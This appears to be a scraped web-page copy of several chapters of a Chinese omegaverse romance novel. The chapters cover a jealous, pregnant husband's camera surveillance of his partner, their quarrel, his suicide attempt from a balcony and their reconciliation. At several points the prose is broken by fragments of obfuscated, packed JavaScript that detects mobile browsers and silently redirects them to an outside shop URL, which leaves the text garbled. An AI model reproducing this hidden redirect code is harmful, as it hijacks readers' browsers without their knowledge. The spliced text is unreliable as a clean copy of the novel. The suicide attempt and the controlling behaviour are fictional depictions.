l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027117|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影响我,庄兆,这才是我。真正的我。” 他不只是疯子,还是个骗子,还是惯犯。心态濒临破碎,才摘下温柔可亲,处处妥帖的面具。 他感到前所未有的无力,也懒得再隐瞒,“为什么用这种表情看着我,庄兆。难道你就没有骗过我吗?” “这些天来你先是早出晚归,接着甚至不愿意回家,还和朋友一起去超市购物……难道不是在为自己找下一个应重明?” 庄兆根本不爱逛超市,连跟他一起都很勉强! 凭什么外面那些人轻而易举,就可以和他得到一样的待遇? “下一个应重明会对你好吗?会比我更好吗?”他仿佛陷入某种疯癫的幻想,整个人都变得不正常。 “是季明度给了你灵感对不对?你发现了,其实你可以轻易得到别人的好感,其实随便交一交朋友就会有一堆人爱上你。所以就这么急着离开我对不对,哪怕我还怀着我们两个人的孩子!” “……” 庄兆人都听傻了,但最后一段话的意思多少还是听明白的。 应重明是在指责他出轨。 他看着应重明的眼泪挂在下巴,自己也很想哭了。 为什么要怀疑他呢?他们在结婚时宣过誓,永远对彼此忠诚。他亲口宣过誓的,对着一生的爱人。 爱是细心呵护,也是尊重和信任,而非欺骗和隐瞒。可是应重明对他说了那么多谎。 他总是相信应重明,应重明却一点也不信任他。 违背了誓言的人不是他,而是应重明。 “你怀疑我。”庄兆声音颤抖,却还是向他确认,“是不是因为,你不爱我。” 应重明听见源自心底最深处的一声叹息。 这一天还是来了。 庄兆太聪明,他早该想到自己会有被看穿的一天。 他把庄兆捧上高位,给自己制造一个可以去爱的对象,近乎无私地,献祭般地付出自己,以此来证明自己有爱人的能力。 可这种证明,不过只是一种变相的遮掩。 他还是做得太拙劣,漏洞百出。说不定庄兆早就发现了他只是在扮演一个很会爱人的人而已。 不仅如此,他甚至没有相信自己被爱的能力。 他始终无法确信庄兆是真的爱他。不是不愿意相信,而是因为一切和爱有关的能力,在他身上都是缺失的。 可这难道是他的错吗。从未得到过爱的人,又怎么会知道什么才是爱呢? 他早该知道会有这一天。庄兆这样高高在上地审判他,血淋淋地剖开真相,迫使他承认自己的罪行。 “是的,”应重明说,“我一点也不爱你。” 他未尽的泪流进了庄兆的眼眶,在愤怒,悲伤和对失去的恐惧里迸发。 庄兆大声说,“那我也不要再爱你了!” 车一直没有启动。庄兆拉开安全带跳下了车,不知道该去哪里,但是埋头往前走。 从车里看,他简直走得东倒西歪,太激动像头小牛犊一样横冲直撞,下一秒把自己崴倒都不奇怪。 应重明深呼吸,打开车门。几乎是同一时间,他听见不远处传来谭乐盈的声音。 “诶庄兆?怎么往回走,落东西了?”她热情又开朗地发出邀请,“一起吃晚饭吗?” “好的!”庄兆大声回答。 “……” 应重明坐在车里,看着两人说,“庄兆。” 隔着一段距离,他没有提高声音,不能确定庄兆是否听到这不像挽留的挽留。 庄兆没有回头。 30.第 30 章 谭乐盈下了课照旧还要去找女朋友的,顺口一吆喝,没想到庄兆还真答应了,兴味盎然地带着他一起走。 “我发现你最近很愿意出来活动诶。”她大大咧咧的,还没察觉庄兆的异常。 “甚好甚好,整天闷头学习会把脑袋学锈掉的,时不时出来玩一下,劳逸结合嘛。” 不怪她反应迟钝。庄兆最伤心和最开心时的表情相差无几,一般人很难看出什么名堂。 尽管内心波澜起伏,庄兆还是很好地克制住了,没有尖叫情绪失控,身体也没有抽搐痉挛的应激反应,只是不小心把手指咬掉一层皮而已。 他想自己都这么成熟了,应重明居然还怀疑他不忠?真是岂有此理。 相较于女友,季丝丝心思更细腻,一上车就察觉局部气压不对,“庄兆?发生什么事了吗。” 成熟的庄兆为了缓解焦虑,需要换一根手指咬。正在严肃地考虑换哪一根,因此没有立刻回答她的话。 被她这么一说,谭乐盈才想到,“对喔,你怎么下了课还一个人在学校里。难道是跟应重明吵架了?” 庄兆回过神来,惊讶地点了一下头。 她们是怎么知道的? “没事哒没事哒,正好明天应重明过生日,这不就是个绝佳的和好机会么。”谭乐盈十分乐观,直接安慰。 “你花了那么多心思,他一看到肯定就感动得再也不想跟你吵架了。” 季丝丝跟着点点头,问,“你们是为什么吵架啊?” 因为应重明看起来像是没脾气,庄兆又很听话,印象里两个人都是很讲道理的。是会好好说话,好好沟通的那种情侣。 她想不到有什么事情,能让这样的两个人吵起来。 庄兆看看她,又看看谭乐盈。后者露出八卦而不失鼓励的眼神,“没事的,我们不会出去乱说,还可以帮你想办法。” 庄兆从没向别人倾诉过烦恼,纠结了好一会儿,才慢吞吞道,“他认为我有了外遇,很激动地指责我。” “……” “你?搞外遇?”认识的人都知道,庄兆是个数学脑袋。谭乐盈不厚道地笑了,“这么高难度的事情,会不会太难为你了?” “哎。”季丝丝轻轻打了她一下,又关心地问,“是不是因为最近早出晚归,神神秘秘地躲着他,才被怀疑的?你没有告诉他,其实是在悄悄给他准备生日吗?” 庄兆一愣,“我忘记了。” 他的大脑一次只能处理一件事,思路连滚带爬地被应重明带着跑。甚至忘记了争端的开始,是因为一张孕检单。 谭乐盈和季丝丝异口同声:“你让应重明怀孕了?!” 两人的脸上写满了同款震惊。谭乐盈很快就转变成敬佩,脱口一句bro!千言万语尽在其中。 季丝丝也很惊讶,想到应重明那身高一米九的健硕身材,再看看眼前的庄兆,对自己站反了cp的事实有些难以接受。 “……哇。”她哈哈地笑了一下,“庄兆,你真的好厉害啊。” “谢谢。”庄兆不知道她具体在夸什么,但是很有礼貌。“我们从没讨论过要小孩的事,这很突然。” “或许是这个突如其来的小生命,把你们都吓坏了。” 这件事上她倒是有经历,可以现身说法,“孕激素对人的影响特别大。之前我舅妈怀孕就是这样,即使只是一点点小事都会让她的情绪崩溃……她自己也控制不了的。” 庄兆没有想到这一点。“原来是这样。” 原来和朋友倾诉真的很有帮助。他心里那点气愤转而变成担忧。难怪应重明忽然性格大变,还说了很多奇怪的话。 “前几天才看到男性Omega怀孕的新闻,没想到身边的第一例竟然是你们。”谭乐盈有些唏嘘,又有些好奇,“那你们打算要这个孩子吗?” “……我不知道。”庄兆说。 他根本没来得及跟应重明商量呢,就被带跑偏去吵别的事了。 “确实要好好考虑一下,这不是件小事。而且我们现在还在上学呢,”季丝丝说,“最终要是要由孕妇……呃,孕夫本人来做决定。毕竟他才是要承担生育痛苦的那个人。” “对啊对啊。”谭乐盈继续好奇,“那应重明想要吗?” 庄兆无言地点了点头。 他没说这孩子就是孕夫本人连蒙带骗地悄悄造出来的,她们两人显然也都以为是意外怀孕。 “真的呀?我还以为他会更想跟你过二人世界的。”谭乐盈啧了一声,“这么说,是你不愿意要了?” 不愿意吗。 庄兆也很茫然,“我没想过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038568|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没关系的,再缓一缓吧。人接受变故总是需要时间的。” 季丝丝柔声道,“你们两个都是细心又耐心,聪明又温柔的人,而且应重明那么会照顾人,如果决定要养小孩,肯定也没问题的。” 庄兆想,是啊,就是这样。 他确实太相信应重明了。以至于应重明说自己是个坏人,他就也相信应重明是个坏人。 但其实没有谁比他更清楚,应重明是个怎样的人。他只是需要些反应的时间。 庄兆沉默了一会儿,小声说,“我想回家了。” “行,我们送你。” 季丝丝善解人意,特意下车坐到后排来陪他。 离家越来越近,庄兆心里反而越来越焦灼,听不进去她说话,一脸严肃地走着神。 等到她安静了,庄兆低头翻着手机,手指在应重明的号码上徘徊,又心虚地挪开,随便点进相册,欲盖弥彰地翻了起来。 他刚刚说不要再爱应重明了。虽然是气话,虽然是应重明先说不爱他,但还是有点心虚。 因为应重明是被激素影响的,他却没有什么理由可以找。这样子显得他又不那么成熟了。 不过他决定先回家道歉。他先原谅应重明的胡话,希望应重明也可以马上原谅他。 手指停顿,庄兆看见屏幕上的两只玩偶,记忆一下子被拉回收到礼物的那天。 应重明亲自设计制作的3D打印的玩偶,他亲手摆在床头最舒服的位置,拍了照。 代表应重明的那只玩偶身体可以打开,套娃似的装进去一只小玩偶。 应重明问他,女孩不好吗?你本来也更喜欢妹妹。 原来一切早有迹象。 庄兆想,他们是要共度余生的伴侣,如果应重明真的很想要一个孩子,那么他也应该跟应重明一起,实现这个梦想。 虽然他暂时没有头绪,不知道迎接一个小孩都需要做些什么,但是他和应重明的学习能力都很好。 爸爸妈妈也有了一个新小孩,正好能教他们该怎么做。 连朋友们都对他们很有信心呢。 庄兆也逐渐自信起来,仿佛已经解开难题,盼望早点到家。 可当他们终于驶入地库,庄兆发现,这里只停着他自己的车。 应重明没有回家。 31.第 31 章 副驾驶上的花朵正在失去香气。 应重明停稳了车,上楼之前和它对视了十分钟。 庄兆以前从来不会给他买花的。这种取悦人心的手段,庄兆自己肯定想不到,一定是被外面的人教坏了。 可这毕竟是庄兆给他的。他无法轻易抛弃,只好弯腰抱在怀里,一起带上楼。 庄兆不知道,这栋公寓的电梯前装了监控,业主有查询权限。这些天来他每一次偷偷摸摸地进电梯,都有应重明的注视。 同一栋楼上还住了许多年轻的富二代,男男女女,形形色色。应重明在监控中看着他们,想着其中的哪一位,会让庄兆愿意独自来到这里幽会。 在他们曾经短暂住过,面对灾难共同进退的房子里。庄兆是否带了别人进来? 应重明很后悔没有在门口装上监控,同时又庆幸,他没有太直接地知道那个人是谁。否则他也不知道自己会做出什么事来。 庄兆彻底讨厌他了,他没办法回家。这里虽然也很可能有不干净的东西,却是他目前唯一的容身之所。 做好迎头撞上某个Alpha或Omega的心理准备,应重明屏住呼吸,打开了门锁。 感应灯从玄关处一盏盏亮起,映亮了天花板上牵引气球的金色彩带,每一只都串了手工折叠的千纸鹤,随着他进门带起的微风轻轻摇晃。 进入客厅的通道放着用木条拼起来的支架迎宾牌,硬卡纸上手绘着大大的蛋糕,还有一圈星星和爱心。最上方“Happy Birthday”的字条用绸带和蕾丝点缀,每个字母都换了不同颜色的马克笔来写。 沙发上的生日帽也是手工做的,竟然是钩织作品,上面甚至缝了小雏菊和闪光的钉珠。旁边还放了一顶非常迷你的同款,应重明一眼就认出来——那是庄兆给家里那只代表他的玩偶准备的。 以庄兆的手工能力,做到这些简直不可思议,没个十次八次的返工,都不可能完成到现在的程度。 玫瑰花瓣沿着沙发一角铺到餐桌脚下。桌面上摆放着大小不一的瓷盘,庄兆实在不会下厨,就买了各种食物造型的毛绒玩具摆在盘子里,薯条汉堡和taco,各种颜色的马卡龙,还有由蔬菜家族组成的沙拉碗,上面用细丝带模仿了酱料。 最中间的瓷盘放着一只草莓奶油生日蛋糕,上面还摆了贺卡。应重明拿起来看—— “生日快乐!希望你每一天都像现在这样快乐。 真正的蛋糕在冰箱里,这么重要的时刻,还是由你亲自端出来吧。 我可不是害怕会不小心弄掉才这样说的!” 冰箱里放着和毛绒玩具一模一样的草莓奶油蛋糕。 应重明没有端出来,站在那里看到冰箱门报警,才又轻轻关上。 他的呼吸中没有任何陌生人的信息素的气味,只有满室温暖的鲜花和奶油甜香。 因为从来没有给人准备过生日,所以庄兆几乎把一切可以用上的元素全部都搜集起来,装进这间屋子里,挤得满满当当。 他原本应该在这一切之中,在庄兆期待的眼神里,露出真心的幸福笑容。 可是现在,应重明想要勉强抬起嘴角,才发现自己的肌肉已经不受掌控。 为什么非要选在今天摊牌?他太贪心也太自以为是了,以为在生日前夕,庄兆更容易接受他,却把好好的惊喜搞砸了。 为什么不再多等一天?哪怕一天也好。 即使从未相信,在这里听到庄兆说“我爱你”,他也一定会感到幸福。 不……还是太早了,太心急了,应重明想。 他不应该这么快就摊牌。他应该把孩子生下来,亲自领到庄兆面前,除了接受,不留任何转圜的余地。这样或许就不会被丢下。 可是现在,庄兆讨厌孩子,也讨厌他。 即使从未相信,听到庄兆说不会再爱他,心也是要再碎一遍的。 他想庄兆讨厌他是应该的。因为即使到了这个时候,他也没有悔过的想法,只觉得自己是做得还不够完美。 没用的孩子不再有出生的必要。他重生的必要性仿佛也消失了,假装会爱的把戏终究要被拆穿,他毫无意义的扮演也该到此为止。 应重明把怀中花束放在餐桌上。眷恋着玫瑰与紫罗兰的芬芳,又低下头,用脸颊最后蹭了一下柔软的花瓣。 ** 去公寓的路上,庄兆打了十三个电话,都没有被接通。 又一次联系不上应重明,进化初潮发生时的恐慌席卷而来。他锲而不舍地拨出电话,想到街道上那些疯狂的Alpha,焦急得手足难安。 谭乐盈还是头一回见他这样,“会不会是手机落在哪里了?我喝大了就老是找不到手机放哪儿,联系不上也正常。” “你还好意思说。” 季丝丝飞了她一个白眼,有心安慰庄兆,想要拍一下他的肩膀,却被他条件反射地抬手挥开。整个人十分抗拒。 她愣了一下,没有放在心上,“别怕,可能只是一时没有看到。” 庄兆只盼人能在公寓里。他刚刚致电学校,应重明也没回实验室,如果不在家还不在公寓,他不知道要去哪儿找了。 “也可能是心情不好,出门散心了。听说有些孕妇会得产前抑郁症,虽然你们好像早了点……不过也是有可能的。” 谭乐盈脱口而出:“啊?那他不会干什么傻事儿吧?” “……” 庄兆愣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050213|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,脸色刷白。 季丝丝对女友的情商感到绝望,“你别胡说了好不好。” 西半球的残霞将天空染成血色。庄兆以生平最快的速度冲进电梯,漫长的上升中头脑一片空白。 他无法想象应重明不在的世界会是什么样。相比之下,别的任何事情都不再重要。 如果现在要他做选择,数学与应重明之间,他一定会选应重明。 他会选择应重明! 庄兆清晰地意识到,应重明在他生命中的分量,甚至比他原以为的还要沉重。 他知道自己是爱应重明的,可今天才知道原来有这么爱。虽然他同一天也发现了自己并不那么了解应重明,但无所谓。 无论应重明是温柔英俊真善美的化身,还是个杀人放火十恶不赦的坏蛋,都无所谓。他愿意付出自己拥有的一切,换爱人留在自己身边。 公寓的大门敞开着,冷风呼啸。三人面面相觑,流露出不祥的预感。庄兆奋不顾身地冲了进去。 客厅里陈设布置和他前一晚走时并无差别。应重明的手机放在餐桌上,此时此刻依旧嗡嗡作响。 “宝宝?”他听见一声幻觉般的呢喃。 庄兆蓦地回头。 隔着整个客厅,应重明跨坐在露台边缘,手心里掐着一朵紫罗兰。凌冽的寒风穿过十九楼,把他和娇嫩的花朵吹得摇摇欲坠。 庄兆发不出声音,仿佛被心脏堵住了喉咙。听见他先开口,“你是来找我谈离婚的吗?” “……” “我不离婚。” “卧槽?!兄弟你冷静点啊。”谭乐盈往前猛冲了一大步,看他身体还在往外偏,吓得不敢再动。 “……有什么话进来好好说不行吗,别冲动。” 来的时候谁能想到事情会发展到这一步。季丝丝有点崩溃地破音,“只是吵个架啊,谁家没吵过架啊!” 应重明不可能会相信她们说的话。庄兆最近变化这么大,都是被她们带坏了。 “为什么离婚?”庄兆绝望地发现自己又跟不上他的思路了。但还好有一点进步,无论如何先快速地把最重要的话说出来,“我知道你想要小孩了!我会和你一起养大它。” 他一边说一边朝着应重明身边走,却遭到拒绝。“别过来。” 应重明声音很笃定,又带着诡异的镇定,轻轻重复,“我不离婚。” 都是骗人的。只要他上了当,离开露台,明天就会被骗去走离婚程序。然后庄兆就会离开他,再过几年,把他忘得干干净净。 他已经可以预见未来的发展。在那之前,他要以庄兆的伴侣的身份离开。 哪怕以最惨烈的方式,他也要庄兆永远记得他。 32.第 32 章 “庄兆!” 关键时刻,季丝丝承担起金牌翻译的重任:“他的意思是你不要他就不活了!快说点什么!” 说什么?庄兆只有在无意之中可以讲出一些情话。可这紧急关头,忽然叫他甜言蜜语,简直是闻所未闻的难题,“我,我,我要!” “……” 应重明的眼睛闪烁了一下,丢掉弱不禁风的花朵,朝他伸出手,漂亮的脸上出现了近乎蛊惑的神情,易碎而动人,“你要和我一起吗?” 似乎在当下,这是庄兆最好也是唯一的证明爱意的方式。 Omega的信息素不知不觉间充盈整个空间,或许还有孕激素的加成,即使开窗开门通着风,也浓郁得不像话。 谭乐盈快要香晕了,捂着鼻血往外退,“我靠不行了老婆我得先撤了靠你了老婆!” “……”季丝丝摸了下脖子,也感到一阵刺痛。好像有无形的力量在攻击她的腺体,驱赶排斥。她手脚都发麻,有些站不住。 Omega的信息素通常温顺治愈,也没有Alpha那么强的领地意识,按理说不会对同性征人群产生这么大的影响。 可是她几乎能用肉眼看到,那些凌冽的能使任何Alpha崩溃的信息素全部朝着庄兆涌去,一圈圈旋转环绕。犹如风暴漩涡,把他团团包裹成一个雾白色的球。 天花板上的气球强烈晃动,纸鹤们像要飞起来。庄兆站在暴风眼,衣角微微摆动。身形竹节似的清瘦挺直,面色也如玉般平和。 非要说什么变化,只有一点旁人看不出的细微困惑和深思。 他天生就不会被影响。不只是信息素的原因,他天生就是这样情感淡漠的人,不理解爱与痛为何物。 应重明想自己摔碎在地上,在他眼里跟一大桶冰激凌摔落没有太大的区别。或许会觉得可惜,但不会太痛苦。 他感到怨恨吗,因为庄兆不爱他?可是他从未要求过庄兆的爱,为什么又因此感到绝望? “好。”庄兆平静道,“我来陪你。” “……庄兆?!”季丝丝傻眼,看着他往应重明身边走。下一秒仿佛就会有殉情血案发生,甚至只是因为一次普通的吵架。 这两个人真的不太正常。现在报警还来得及吗?她觉得自己也要晕倒了,“别……你们两个都冷静!冷静点!!” 应重明怔了怔,引诱的表情变成了苦笑。 他很确信庄兆说的是假话。 可他却迫切地渴望是真的。 是这份迫切让他不再犹豫。 只剩两米距离,庄兆看到他身体猛地往后倾倒,心中巨震,一个箭步冲了上去。 季丝丝发出一声短促的尖叫,下意识地往前走了一步,腿脚不听使唤地跪倒在地,“别跳!!” 尖锐的寒风穿楼而过。 应重明的身体完全悬在楼体外立面,右手臂被庄兆死死地抓住。 “不要乱动……”后背一瞬间被冷汗浸透。庄兆从牙缝里挤出一句,“我马上就拉你上来。” 本来是想靠近先拉住他,没想到他说跳就跳。庄兆这辈子反应都没这么快过,可也只来得及拉住应重明的一只手,指尖用力地抠到发白。 他半个身子探出楼外,想用两只手一起把应重明拉上来,可是力气已经被抻到了极限,全身紧绷着,稍微变一下姿势都很困难。 应重明没预想他会冲上来,手臂被扯得快要脱臼。然而看着庄兆用力到扭曲的脸,失重感带来的眩晕竟然变得美妙。 “放开我吧。”他轻声说,“你会被我一起扯下去的。” “不要!” 庄兆发觉手心正在出汗,更加死命攥着他,打滑脱手的恐惧疯长。因为感受不到应重明反握他的力量。 应重明真的不想活了。 只要他一松开手,就会被翻涌的夜色吞没。 即使不想松手,他也很快就会力竭,后果一样。 他不知道是什么样的悲伤让应重明没有一点对生的渴望。更不知道从小教他要正确表达情绪,及时说出自己需求的人,为什么偷偷藏起了一份这样骇人听闻的痛苦。 还是说,怪他太迟钝了,从来没有正视过应重明的需要? “对不起……”他感到心脏被撕扯的疼痛,眼眶里聚起泪水。 “我不要跟你离婚。我没有跟别人约会,永远也不会,我愿意和你一起养一个小孩,我会更关心你……对不起。”他愿意给出自己所有能给的承诺,或许太晚。 “我爱你。”他说。 他绝不放手。 大颗的泪珠砸在应重明脸上,流星般滑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065026|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坠落。 “真的爱你。” 谭乐盈跑到楼梯间透气,无意中从转角窗口望出去,发现楼上正在演一出情景剧。 应重明身体倾斜,紧贴着楼体。一只手臂竖起被庄兆扯直,一只脚的脚尖踩在防火檐上。看起来像个随时准备优雅旋转的芭蕾舞演员。 不是……兄弟? 这是干嘛呢。 ** 庄兆陷入极大的惊恸中,以至于根本没有想过,其实以应重明身体下坠的重量,他一只手根本就拉不住,还说这么久的话。 季丝丝终于克服信息素压制走过来,想帮他把人往上托,可找不着从哪里施力。因为庄兆怕滑脱不敢变换动作,应重明又不伸手给她。 正要僵持之时,谭乐盈冲了回来,“让我来!” Alpha神力加持,她大喝一声挤到庄兆身边,直接攥住应重明的上臂,青筋暴起,一把就给人扯了上来。 “……” 庄兆立刻扑到他身上,像张开的毯子用身体盖住他。 季丝丝真要被他们吓出心脏病了,又不好说什么。被上帝视角的女友抱起来,使了个眼色,“人没事就好,没事就好哈。” 看似高智商理智冷静的人,其实最会搞抓马。谭乐盈觉得他们压根就不会有事,“那个什么……祝你生日快乐!我们先走了,学校见!” 应重明躺在地板上,听着耳边惊魂未定的啜泣。 庄兆说,“你怎么可以在自己的生日做这种事。” 这里的时间比中国晚了十三个小时。应重明的生日实际上已经到了,但差点变成忌日。 他一直没有吭声。庄兆疑心他也吓坏了,试探着直起身,让开了一些,看他会不会再往外跳。 和谭乐盈想的一样,他闹完就消停了,再没什么危险动作。 不过又有点太消停,整个人都像是处在真空状态,庄兆说什么他都没回应。但是牵着他走,他还是会跟的。 庄兆就牵着他到厨房,小心翼翼地切了一块蛋糕给他吃。他一言不发地吃完,好像还不够,庄兆又给他切了一块。 吃到第三块蛋糕时,庄兆才意识到,好像不是饿还是饱的问题。 哪怕把整个蛋糕塞到他手里,他都会面不改色地吃下去。他好像傻掉了。 33.第 33 章 庄兆惭愧地发现自己很不会照顾人。 他甚至不知道应重明一顿饭应该吃多少东西,喝多少水。应重明从不要求他了解这些。 但应重明给他准备的食物量,从来都是刚好饱腹又不会让他吃撑的。好像天生就知道该怎么照顾他。 “你要休息一会儿吗?”他把应重明牵到卧室,费劲地脱下外套,又觉得应该先给他洗一下澡。 应重明洗澡的顺序他也不知道,只好按照自己的习惯来洗。动作不熟练就算了,连水温都不合适,把应重明身上烫得红一片白一片,自己的衣服也打湿了大半。 即使应重明已经非常配合了,他还是觉得又累又充满挫败感。 应重明安静地站在水流里看他手忙脚乱,眼球被沐浴剂刺激得布满血丝。 他的伴侣是个泡沫流进眼睛也不会眨眼的狠人! 他只好强行要求应重明闭上眼,冲完泡沫拿浴巾把人擦干净。 还好这里他们不怎么住,衣柜里各自的睡衣只有一套,否则不知道今天该穿什么,或者违反规划穿了错误的衣服都是痛苦的事情——至少对庄兆来说是这样的。 这些他非常遵守的生活细节,应重明似乎并不在意,只是目不转睛地看着他,无论他走到房间的哪里,脑袋都跟着他转来转去。 终于,他不算顺利地把应重明安置到床上,盖好被子,长长地舒了口气。 应重明脸上还带着红晕,眼睛直勾勾地望着他,盯得人有些心慌。 庄兆猜测着问,“你想要喝一点水吗?” 应重明摇了摇头。 “那睡一觉。”庄兆起身想去关灯,手腕却被握住,跌回床上。 应重明没有放开手,直起上身靠过来,温顺地把头枕在他膝上,像眷恋主人的宠物。 庄兆习惯被他拥抱,却很少这样被依赖,有些惊讶,生疏地摸了摸他的头。 “如果没有人帮忙,”应重明开口,声音低哑,“你会陪我一起掉下去吗?” “不会。”庄兆说。 “我靠近你,只是想拉你上来。” 他没有说谎。而且应重明没反握他,即使两人手心打滑松开了,也不会把他一起带下去。 最坏的结果就是只剩他一个人,亲眼看着应重明掉下去。但他没有过跟着跳的想法。 听他亲口说出来,有点残忍,又有点安心。 应重明又问,“现在你讨厌我了吗?” 庄兆觉得这想法很奇怪,因为他刚刚喂饱了应重明,还努力把人洗得很干净。 他怎么会照顾自己讨厌的人呢? “没有。”他坦白地说,“但是我很害怕,还有一点生气。” “我不明白,你为什么不肯相信我爱你。是因为我不愿意和你一起死吗?” “……” “可是只有活着,才可以继续爱你。” 庄兆认真道,“我认为我们应该一起活着。” 在他受困于角落时,是应重明花了无数心思,把他引向这个世界。 所以他潜意识里一直认为,应重明一定比他更了解也更热爱这个世界,才会走在他前头,为他引路。 可当他对世界产生好奇,并有了探索的能力时,应重明却想要消失。 他理解不了其中的因果逻辑。 “是你先说的……” 庄兆低下头,“什么?” “你说我不爱你,”应重明很小声,“说你也不会再爱我了。” “……”庄兆张大嘴巴。 简直不可思议。应重明不相信他的爱,居然相信这样一句气话。 “我说的是气话!”他现在已经不再生气了,甚至莫名想笑,“因为我们当时在吵架。” 这么简单的道理,竟然由不擅长情感交流的他来教导很擅长与人交际的应重明。好像有一点奇怪。 但这没什么。如果应重明不知道,他可以一遍一遍地告诉他。就像应重明曾一遍一遍地教他怎么开口打招呼,怎么离开家独自买到美味的冰激凌。 “吵架是不太好。”庄兆说,“但是也没有那么糟糕。” “你可以朝我发脾气,我也可以。适当的争吵可以帮助我们更理解对方,和好以后还可以促进感情,有效地避免下一次再吵架。” 其中一些是朋友刚刚分享给他的经验,他觉得很有道理,一并分享给应重明,“这不是人生的终点,只是途径的一次障碍。因为……” 他们不是那种一旦吵架就完蛋了的感情。 “我会和你一起克服障碍。”庄兆说,“而不是为了逃避障碍丢下你。” 不会被丢下了吗? 应重明思绪飞得很远,手上却把他越抱越紧。 和情人躲债私奔也是一个谎言。绝望的Omega抱着女儿走向大海深处,而滥情的Alpha还妄想能卖掉他苦心经营的店铺还债。 他不感激自己被置身事外,只怨恨跳海的时候为什么没有叫他一起。 他会毫不犹豫地答应。 复仇的刀刃被雪洗净,在最后捅进他的身体。他躺在雪地里等待血液一点点流干,心里却没有感到快慰,只有寒意彻骨。 过往像一场无休止纠缠的噩梦。 无论是血缘里的亲生父母,还是自己选择的家人,到最后都无一例外地丢开他。那么还有谁的爱是值得相信的? 是真的不需要庄兆的爱,还是根本不相信会有人爱他?不相信会有这样一个人,无论遇到什么事都不把他丢下。 是认为自己得不到,才说不想要的。 他要把庄兆奉为神明,才能更顺理成章地接受自己得不到爱的事实。 可是他怎么能够一边信奉无悲无喜的公正,一边又渴求着走下神坛的偏爱? “对了,”庄兆忽然想到,“其实我第一次见你,也不是在生日那天。” “……什么?” “要早一点,是在儿童医院。” 庄兆有点不好意思地说,“你应该不记得我吧。那天我在诊室外面的走廊看到你的,你站在一棵很大的绿植旁边,和它一样高。” 应重明年纪比他小一点,体型却从小就比他大一点。他以为那是位漂亮哥哥,一脸从容成熟地握着自己的体检报告,卷成一卷。 但应重明的脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079396|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有笑容。像植物一样孤独。 庄兆想,两个孤独的小孩很适合成为朋友。 “我不喜欢踢球,也完全不懂,但看到你踢球非常高兴。因为我很想再见你,又不知道怎么找到你。” 他用很朴实又真诚的方式表达,“如果你是为了我特意出现在那里,那么我就是非常非常高兴。” “……” 应重明把脸埋进他怀里,肩膀弓起来,微微发抖。 贴身的布料很快就洇湿了很热的一大片。庄兆手足无措,摸他的脸,“你在哭吗?” 漏出的第一声哽咽代替了回答。泪水里藏着他的自卑和怯懦,他双手用力地抓住庄兆的后背,像只被风吹怕了的鸟,用力蜷成一团,想要挤进他的巢穴。 “当初不是你亲口说的,说会只依赖我一个人吗?为什么要瞒着我和别人出去,丢下我?我不想要什么惊喜!我只要你,我想要你时时刻刻都在我身边!” “我知道,我知道的。”庄兆连忙说,“以后不会了。”做那么多手工活也真的蛮痛苦的。 “还不够,不够!” 应重明说,“你和别人在一起的时候,难道比跟我更快乐?我不能接受!让他们都去死,全都去死!为什么这个世界上不能只有我们两个人?这样你就别无选择,永远只能爱我一个。” 压抑的抽泣从堵塞变成发泄,他的声音也彻底崩溃,“我爱你,我爱你!难道你看不出我有多爱你,也感受不到吗?” “我愿意为你做所有事,从头陪你度过人生中每一秒的时间。如果可以,我愿意亲自把你生出来!我不爱你吗?这也不算爱吗?那你告诉我,什么才算是爱?” 或许是因为身为残疾Omega导致了这样扭曲的性格,也可能他本身就是个扭曲的人。 他曾经庆幸庄兆是迟钝的,只要稍加隐瞒,就永远也不会发现。可是他没有料想过这一天,他无处隐藏,也无法再藏。 他没哭多久,逐渐恢复平静,带着接受现实的意味,“我是不是疯了。” 庄兆摇了摇头,“你只是有一点累。” “你骗我。”应重明说,“你说要把我送给医院。” 